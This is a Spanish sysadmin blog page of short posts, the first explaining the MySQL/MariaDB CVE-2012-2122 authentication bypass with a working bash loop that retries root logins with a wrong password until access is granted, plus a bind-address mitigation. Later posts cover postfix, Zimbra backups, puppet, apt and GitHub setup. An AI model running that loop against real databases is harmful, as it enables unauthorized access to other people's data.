Recientemente se ha descubierto un bug muy importante en MySQL y también en MariaDB que afecta a las versiones 5.1.61, 5.2.11, 5.3.5, 5.5.22 y anteriores del motor de base de datos. Dicho bug permitiría acceder a la base de datos sin autenticación, lo que lo convierte en un tremendo fallo de seguridad.
La vulnerabilidad, etiquetada como CVE-2012-2122 afecta a aquellas versiones de MySQL que fueran compiladas con las librerías que permitan a la rutina memcmp() devolver valores enteros fuera del rango -128 -- 127. En GNU/Linux, glibc con sse-optimized.
Según el informe del bug, publicado por Sergei Golubchik nos dice:
Cuando un usuario se conecta a MariaDB/MySQL, se calcula un token (un hash SHA a partir de su contraseña y una cadena al azar) y se compara con el valor esperado. Debido a una serie de pruebas incorrectas, puede ocurrir que el token y el valor esperado se consideren iguales, incluso si la función memcmp() devuelve un valor distinto de cero. En este caso, MySQL/MariaDB puede pensar que la contraseña es correcta, aunque no lo sea. Debido a que el protocolo utiliza cadenas aleatorias, la probabilidad de provocar este error es de aproximadamente de 1 sobre 256.

Esto significa que, si se conoce un nombre de usuario para conectarse (y el root casi siempre existe), podremos conectarnos con "cualquier" contraseña con repetidos intentos de conexión. Unos 300 intentos sólo nos llevaran una fracción de segundo, así que básicamente la protección con contraseña de la cuenta es como si no existiera. Además cualquier cliente puedo hacerlo, no hay necesidad de una biblioteca libmysqlclient especial.
Existen ya múltiples formas de explotar el bug y una de las más simples es un bucle en bash que permite el acceso a las credenciales.
for i in `seq 1 1000`
do
   mysql -u root --password=bad -h 127.0.0.1 2>/dev/null;
done
Y también existe ya un módulo de Metasploit que permite explotar dicha vulnerabilidad, que lo veremos en funcionamiento en otro post.

Actualización: A fecha de ahora no hay un parche que solucione el problema si tu servidor está afectado. La única solución que se recomienda es editar el fichero de configuración e impedir que nadie se conecte a la base de datos de forma remota. Se supone que los usuarios locales son confiables.
bind-address = 127.0.0.1
Leer más

Limitando conexiones fallidas en postfix

Este pequeño truco sirve tanto para postfix como para Zimbra (ya que recordar que por debajo realmente está ejecutando un sistemas postfix). Cuando un servidor de correo comienza a recibir una gran cantidad de spam, el servidor mantiene una tremenda cantidad de conexiones abiertas y éstas consumen recursos. Para evitar el consumo tan excesivo de recusos, podemos optar por editar el fichero de configuración de postfix, main.cf y agregar,
smtpd_soft_error_limit = 2
smtpd_hard_error_limit = 3
y reiniciar postfix, o bien ejecutar los siguientes comandos, que harán lo mismo,
postconf -e 'smtpd_hard_error_limit = 3'
postconf -e 'smtpd_soft_error_limit = 2'
Estas dos líneas lo que hacen es que el servidor postfix deniegue las conexiones a los clientes SMTP que tienen muchos fallos. Para más información, aquí.
Leer más

Reiniciar AUTO_INCREMENT MySQL

En alguna ocasión se nos puede dar la necesidad de tener que borrar todos los datos de una tabla que tiene uno de los valores autoincremental, pero resulta que al borrarlos, el AUTO_INCREMENT sigue con los mismos datos y a la próxima entrada que haya, no tendrá un valor 1, sino que será mucho más elevado. Para evitar esto, cuando se borren los datos hay que acordarse también de reinicializar el valor del AUTO_INCREMENT.
Por lo tanto si partimos de una tabla con este aspecto (cedida de las amigos de zabbix),
mysql> show create table history_uint_sync;
+-------------------+---------------------------------------+
| Table             | Create Table                          |
+-------------------+---------------------------------------+
| history_uint_sync | CREATE TABLE `history_uint_sync` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `nodeid` bigint(20) unsigned NOT NULL DEFAULT '0',
  `itemid` bigint(20) unsigned NOT NULL DEFAULT '0',
  `clock` int(11) NOT NULL DEFAULT '0',
  `value` bigint(20) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `history_uint_sync_1` (`nodeid`,`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1                      |
+-------------------+---------------------------------------+
1 row in set (0.00 sec)
Si aplicamos una sentencia similar a esta,
mysql> DELETE FROM history_uint_sync;
Hay luego que acordarse de reiniciar el contador de los auto incrementales. Tal que así,
mysql> ALTER TABLE history_uint_sync AUTO_INCREMENT=0;
Leer más

Backup de cuentas de correo zimbra

Zimbra tiene muchas opciones y suele ser bastante sólido, pero sacar una copia de seguridad de sus datos nunca es mala opción, especialmente teniendo en cuenta que si no es el software puede ser el hardware el que termine fallando alguna vez, así que... más vale prevenir ;-)
Para realizar un backup de una cuenta de correo, desde Zimbra se puede usar el comando zmmailbox y sacar los datos de una cuenta. Existe dos formatos de salida:
  • Formato .zip
    shell> zmmailbox \
           -z \
           -m user@local.net \
           getRestURL "//?fmt=zip" \
           > user_at_local_net.zip
    
  • Formato .tgz
    shell> zmmailbox \
          -z \
          -m user@local.net \
           getRestURL "//?fmt=tgz" \
           > user_at_local_net.tgz
    
Almacenando correctamente estos ficheros y sacándolos de forma periódica, siempre sería posible volver a restaurar una cuenta de correo en caso de fallo. Puedes ver cómo hacerlo, aquí.

A continuación os dejo un pequeño script que simplifica esta tarea de backup. Recorre todas las cuentas del servidor de correo y hace un volcado de las mismas.
#!/bin/bash
for i in `zmprov -l gaa`
do
  zmmailbox -z -m $i getRestURL "//?fmt=tgz" > /srv/backup/$i.tgz
done
Leer más

Crear un favicon

Los favicon son esas pequeñas imágenes que carga la pestaña del navegador al acceder a una página web. Dichas imágenes son un tanto peculiares y tienen sus propiedades especiales. No sirve una imagen cualquier, sino que debe ser una imagen de 26 colores con un tamaño de 16x16 y en formato *.ico. Conseguir una imagen así puede ser complicado, ya que no es un formato que abunde mucho, así que, siguiendo con el uso de imagemagick y convert, vamos a emplear el siguiente truco para crear un ico desde una imagen cualquiera.
shell> convert -colors 256 -resize 16×16 image.png favicon.ico
Leer más

yum, listado de paquetes por tamaño

Otro de los plugins interesantes que le dan una funcionalidad extra a yum es yum-list-data. Aunque su funcionalidad es relativa, sí es cierto que sirve para sacar estadísticas de aquellos paquetes que hay instalados en el sistema y saber el tamaño de los mismos, así como saber el porcentaje de paquetes por rangos de tamaños.
Algo que como ya dije, sólo sirve para tener un poco más controlado el sistema, pero que en determinadas ocasiones puede resultar de cierta utilidad.
Primeramente, procedemos a su instalación,
shell> yum install yum-list-data 
y una vez instalado, simplemente lo usamos.
shell> yum -C info-package-sizes installed
==================== Installed Packages ====================
[    1B -  10KB ]        9 (  3%)
 basesystem-10.0-4.el6.noarch                   124   (   124)
...
[  10KB -  25KB ]        7 (  2%)
 device-mapper-event-libs-1.02.66-6.el6.i686    19 k (19.420)
...
[  25KB -  50KB ]       24 (  9%)
 b43-openfwwf-5.2-4.el6.noarch                  32 k (33.000)
...
 yum-plugin-versionlock-1.1.30-10.el6.noarch    45 k (45.992)

[  50KB -  75KB ]       14 (  5%)
 bzip2-libs-1.0.5-7.el6_0.i686                  69 k (70.864)
...
[  75KB - 100KB ]       10 (  3%)
 bzip2-1.0.5-7.el6_0.i686                       77 k ( 78.612)
...
[ 250KB - 500KB ]       41 ( 15%)
 compat-readline5-5.2-17.1.el6.i686             320 k (327.432)
  curl-7.19.7-26.el6_1.2.i686                   345 k (352.904)
...
[ 500KB - 750KB ]       27 ( 10%)
 atmel-firmware-1.3-7.el6.noarch                716 k (733.156)
...
[   1MB -   5MB ]       40 ( 15%)
 authconfig-6.1.12-5.el6.i686                   1.8 M (1.856.068)
...
[   5MB -  10MB ]       12 (  4%)
 binutils-2.20.51.0.2-5.28.el6.i686             8.9 M ( 9.279.944)
...
[  10MB -  50MB ]        5 (  1%)
 coreutils-8.4-16.el6.i686                      12 M (12.672.740)
...
[  50MB - 100MB ]        2 (  0%)
 kernel-2.6.32-220.el6.i686                     63 M ( 66.007.368)
...
[ 100MB - 500MB ]        1 (  0%)
 glibc-common-2.12-1.47.el6_2.5.i686            107 M (112.361.324)

info-package-sizes done
Leer más

puppet, valores aleatorios de ejecución

En muchas ocasiones puede por el motivo que sea no interesarnos que un script se ejecute en todos los equipos al mismo tiempo, por ejemplo, para no colapsar una línea o un servidor. Si empleamos puppet para tener todos los datos y configuraciones sincronizadas, eso puede resultar algo complicado, pues lo que se escribe en un equipo se escribe en el resto. Si bien es cierto que para cada equipo se pueden definir diferentes tareas, imaginaros tener que 'configurar' una misma tarea para todos los equipos uno a uno, para eso no empleamos un sistema de meta-administración!
Pues bien, si partimos de la configuración de tarea cron habitual,
cron { "update mirror":
        command   => "/usr/local/sbin/update_mirror",
        user      => root,
        hour      => 18,
        minute    => 30,
        subscribe => File["/usr/local/sbin/update_mirror"],
        ensure    => present;
     }
aquí vemos que en todos los equipos que tengan configurado este cron, ejecutará el script /usr/local/sbin/update_mirror a las 18:30 todos los días. En este caso, el script consume un considerable ancho de banda, así que si por el motivo que sea se ejecuta en 5 equipos, puede dejarnos sin ancho de banda para trabajar. Por lo tanto... lo ideal sería poder ejecutarlo a horas diferentes, así que... desde puppet, ¿cómo lo hacemos?
$hour = fqdn_rand(23)
cron { "update mirror":
        command   => "/usr/local/sbin/update_mirror",
        user      => root,
        hour      => $hour,
        minute    => 30,
        subscribe => File["/usr/local/sbin/update_mirror"],
        ensure    => present;
}
Pues bien, simplemente creamos una variable que pueda tener un valor aleatorio de 0 a 23 y dependiente del cliente y éste lo escribimos en $hour. Ahora al actualiza el cliente veremos lo siguiente,
shell> puppetd agent --test
info: Caching catalog for mirror.cluster1
info: Applying configuration version '1338798215'
notice: /Stage[main]/Cron[update mirror]/hour: hour changed '18' to '14'
notice: Finished catalog run in 4.71 seconds
Vemos que cambiar el valor de 18 a 14, siendo 14 el valor aleatorio que ha obtenido del cliente. Si ahora se ejecuta en otro nodo, veremos que el valor es 22, es decir, el valor aleatorio de fqdn_rand(23).
shell> puppetd agent --test
info: Caching catalog for mirror.cluster2
info: Applying configuration version '1338798215'
notice: /Stage[main]/Cron[update mirror]/hour: hour changed '18' to '22'
notice: Finished catalog run in 4.26 seconds
Y con esto conseguimos aleatorizar los tiempos de ejecución de puppet.
Leer más

Cambiar contraseña en batch mode

Se nos puede dar el caso de que en ocasiones tengamos que cambiar la contraseña de un usuario en batch y no interactivamente. En este caso el comando passwd ya no sirve y hay que emplear el comando chpasswd, que sí permite el cambio de contraseñas en modo batch.
Las utilidades de este comando pueden ser muchas según el script que queramos desarrollar, eso ya queda a merced de la imaginación de cada uno. Para usarlo, simplemente:
shell> echo "root:new_passwd" | chpasswd
Leer más

Invalid command 'RewriteEngine'

Este es otro de los fallos que pueden aparecer comúnmente en apache tras una instalación si uno de los virtualhost's nuevos tiene una configuración que implique una redirección.
shell> /etc/init.d/apache2 start
Syntax error on line 22 of /etc/apache2/sites-enabled/000-default:
Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
Action 'configtest' failed.
The Apache error log may have more information.
 failed!
Para solucionarlo, únicamente hay que habilitar el módulo de apache que se encarga de realizar las redirecciones. Tal y como sigue,
shell> a2enmod rewrite
Enabling module rewrite.
Y ya está.
shell> /etc/init.d/apache2 start
Restarting web server: apache2 ... waiting .
Leer más

unattended-upgrades, actualización automática

Uno de los grandes problema que suceden en grandes instalaciones es el tema de las actualizaciones. Mantener un número elevado de equipos actualizados puede llevar mucho tiempo, así que poder automatizar esta tarea es algo esencial. Para hacerlo, existe unattended-upgrades, que no es más que una sencilla aplicación que realiza las actualizaciones automáticas del sistema. Puede realizar actualizaciones de seguridad, de la rama estable, o de un repositorio concreto. Su uso de forma regular es altamente recomendable, especialmente en equipos de sobremesa. Quizás en servidores de producción haya que tener más cuidado con lo que se actualiza, pero en sobremesas, su uso es ideal.
Vamos a comenzar por instalarlo.
shell> apt-get install unattended-upgrades
Una vez tenemos el paquete instalado, hay que crear el fichero /etc/apt/apt.conf.d/10periodic con el siguiente contenido. Este fichero sirve para configurar las actualizaciones automáticas.
APT::Periodic::Enable "1"; 
APT::Periodic::Update-Package-Lists "1"; 
APT::Periodic::Download-Upgradeable-Packages "1";
APT::Periodic::AutocleanInterval "7"; 
APT::Periodic::Unattended-Upgrade "1"; 
APT::Periodic::RandomSleep "900";
  • APT::Periodic::Enable
    Activamos las actualizaciones automáticas.
  • APT::Periodic::Update-Package-Lists
    Actualizamos la lista de paquetes disponibles (apt-get update).
  • APT::Periodic::Download-Upgradeable-Packages
    Descargamos los paquetes actualizables.
  • APT::Periodic::AutocleanInterval
    Se ejecuta un apt-get clean.
  • APT::Periodic::RandomSleep
    Actualización aleatoria de 900 segundos.
  • APT::Periodic::Unattended-Upgrade
    Se ejecuta unattended-upgrade cada 1 día.
Ahora toca modificar el fichero /etc/apt/apt.conf.d/50unattended-upgrades, en el que elegimos lo qué se actualiza de nuestra distribución y lo que no.
Unattended-Upgrade::Allowed-Origins {
        "${distro_id} stable";
        "${distro_id} ${distro_codename}-security";
        "${distro_id} ${distro_codename}-updates";
//      "${distro_id} ${distro_codename}-proposed-updates";
};
En este caso, optamos por actualizar el sistema (rama estable), así como actualizaciones de seguridad y update. Ahora, ya con todo configurado, reiniciamos el servicio.
shell> /etc/init.d/unattended-upgrades restart
Como puede también ser de interés, unattended-upgrades, tiene la posibilidad de ejecutarse como un comando, y así podemos ver lo que hace.
shell> unattended-upgrade
O bien, simular lo que haría si se ejecutase. Esto es muy interesante en caso de que la actualización pueda suponer cambios muy drásticos.
shell> unattended-upgrade --dry-run
Leer más

Crear un proyecto en GitHub

GitHub es un excelente gestor de proyectos gracias a git, el controlador de versiones que emplea a bajo nivel. En los últimos tiempos se dio mucho a conocer y la verdad es que si vas a desarrollar algo y necesitas tener una copia en la nube, ¿por qué no usarlo?
Hace unos cuantos post's vimos cómo funcionaba git para control local o subir a repositorios remotos, pero siempre conocidos y controlados. Ahora vamos a ver cómo poder unir de forma fácil y simple git + GitHub.
  • Registro de clave SSH en GitHub
    Para comenzar, vamos a crear una clave RSA de ssh para autenticar nuestro equipo contra GibHub. Para ello,
    shell> cd ~/.ssh
    shell> ssh-keygen -t rsa -C "user@empresa.com"
    
    Una vez generada, vamos al menú "Account Settings" y en la opción "SSH Keys/Add SSH key" añadimos el contenido de nuestra clave pública (~/.ssh/id_rsa.pub). Una vez subida, podemos verificar su correcto funcionamiento al intentar conectarnos por ssh a GitHub. 
    shell> ssh -T user@github.com
    Hi username! You've successfully authenticated, but GitHub does not provide shell access.
    
  • Configurar nombre y e-mail
    Vamos a configurar el nombre de nuestro usuario de GitHub y el correo electrónico.
    shell> git config --global user.name "USER NAME"
    shell> git config --global user.email "user@empresa.com"
  • Configurar el token de GitHub
    Este token no es más que un método para permitir el acceso a ciertas herramientas que no sean ssh al repositorio remoto. Para obtener dicho código vamos al menú de "Account Settings" y en la opción "Account Settings" copiamos el valor de "Your API token is".
    Una vez lo tenemos, configuramos nuestro git local para que identifique contra GitHub correctamente. Para ello,
    shell> git config --global github.user "USER NAME"
    shell> git config --global github.token TOKEN
  • Creamos un nuevo proyecto en GitHub
  • Inicializar repositorio local
    Para comenzar a trabajar con GitHub primero tenemos que crear un directorio local en nuestra máquina que luego se sincronizará con el remoto.
    shell> mkdir ~/PROY_1
    shell> cd ~/PROY_1
    
    Ahora, dentro de esta nueva carpeta de proyecto, inicializamos un nuevo repositoio git, tal como sigue.
    shell> git init
    
     En este punto, el repositorio únicamente es local y no se sincroniza con repositorios remotos.
  • Agregar descripción del proyecto
    Este es un paso altamente recomendable, aunque no estricto en GitHub. Especialmente si tu proyecto va a quedar libre, es necesario agregar una pequeña descripción de qué va, para que la gente lo pueda leer y entender. Para ello, creamos dentro de la carpeta del proyecto, el fichero README.
    shell> vi README
    
    Ahora, añadimos dicho fichero al proyecto y realizamos nuestro primer commit. Este todavía sigue siendo local. Hay que recordar que git trabaja en local y luego sincroniza a remoto.
    shell> git add README
    shell> git commit -m 'first commit'
  • Agregar ficheros al proyecto
    Esta es la parte más importante, ya que es sobre la que se hará el trabajo día a día. Dentro de la carpeta de nuestro proyecto, crearemos el código, las imágenes, los ficheros de configuración, etc. Todo lo que queramos y cada vez que añadamos algo nuevo, habrá que ejecutar estas opciones. La primera es para añadir los ficheros y la segunda es para realizar un commit.
    shell> git add .
    shell> git commit -m 'last change log'
    
    En caso de que no queramos añadir todas las carpetas y ficheros del proyecto a git, podemos pasarle de una en una.
    El número de commit's que se realicen dependerá del programador, pero cada nueva funcionalidad importante o cada parche aplicado es una buena opción, para así poder tener unos buenos métodos de trazado.
  • Subir modificaciones a GitHub
    Esta es la parte más importante, ya que hasta aquí todo el como trabajar con git, del que recordemos, ya hemos hablado en alguna ocasión. Así que ahora vamos a ver cómo poder sincronizar nuestro repositorio local, con el repositorio remoto de GitHub.
    • Asociar local con remoto
      Con la siguiente ejecución asociamos nuestro repositorio local al remoto de GitHub. Hay que establecer los nombres de usuario y del proyecto correctamente. En mi caso USER y PROY_1.
      shell> git remote add origin git@github.com:USER/PROY_1.git
    • Sincronizar repositorios
      Y ahora simplemente sincronizamos todo el contenido local y remoto gracias a git. Esto lo tendremos que hacer cada vez que queramos publicar o subir algo nuevo.
      shell> git push -u origin master
      
Una vez tengamos la cuenta de GitHub creada y sincronizada, se podrán ver los archivos del proyecto en la siguiente URL: https://github.com/USER/PROY_1
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios